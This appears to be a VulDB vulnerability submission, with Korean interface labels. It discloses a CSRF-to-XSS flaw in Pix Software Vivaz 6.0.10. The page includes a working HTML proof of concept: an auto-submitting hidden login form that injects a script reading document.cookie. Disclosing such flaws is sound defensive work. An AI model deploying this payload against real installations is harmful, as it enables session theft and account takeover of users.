| 제목 | Pix Software Vivaz 6.0.10 Cross-Site Request Forgery |
|---|
| 설명 | A vulnerability has been identified in Pix Software's Vivaz product, version 6.0.10, that allows for Cross-Site Scripting (XSS) execution via a Cross-Site Request Forgery (CSRF) attack.
The application does not implement proper request validation mechanisms (such as CSRF tokens), allowing an attacker to send malicious requests on behalf of an authenticated user. Additionally, the lack of proper sanitization of input fields allows for the injection of malicious scripts, resulting in XSS.
Impact:
An attacker could exploit this vulnerability to execute arbitrary scripts in the context of the victim's browser. This could result in:
Stealing cookies and session information, allowing user account takeover.
Modification of content or unauthorized actions on behalf of the user.
Escalation of privileges if the attack targets administrative accounts.
PoC:
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="https://x.x.x.x/servlet?act=login&pixrnd=0125012208303707364328" method="POST">
<input type="hidden" name="idIncPesqSatisfacao" value="1"><ScRiPt>alert(document.cookie)</ScRiPt>" />
<input type="hidden" name="item" value="1" />
<input type="hidden" name="paramUsuario" value="1" />
<input type="hidden" name="senha" value="u]H[ww6KrA9F.x-F" />
<input type="hidden" name="sistema" value="1" />
<input type="hidden" name="subItem" value="1" />
<input type="hidden" name="usuario" value="1" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
|
|---|
| 원천 | ⚠️ https://www.pixsoft.com.br/ |
|---|
| 사용자 | Stux (UID 40142) |
|---|
| 제출 | 2025. 02. 06. PM 06:35 (2 연령 ago) |
|---|
| 모더레이션 | 2025. 02. 15. PM 04:34 (9 days later) |
|---|
| 상태 | 수락 |
|---|
| VulDB 항목 | 295966 [Pix Software Vivaz 6.0.10 교차 사이트 요청 위조] |
|---|
| 포인트들 | 17 |
|---|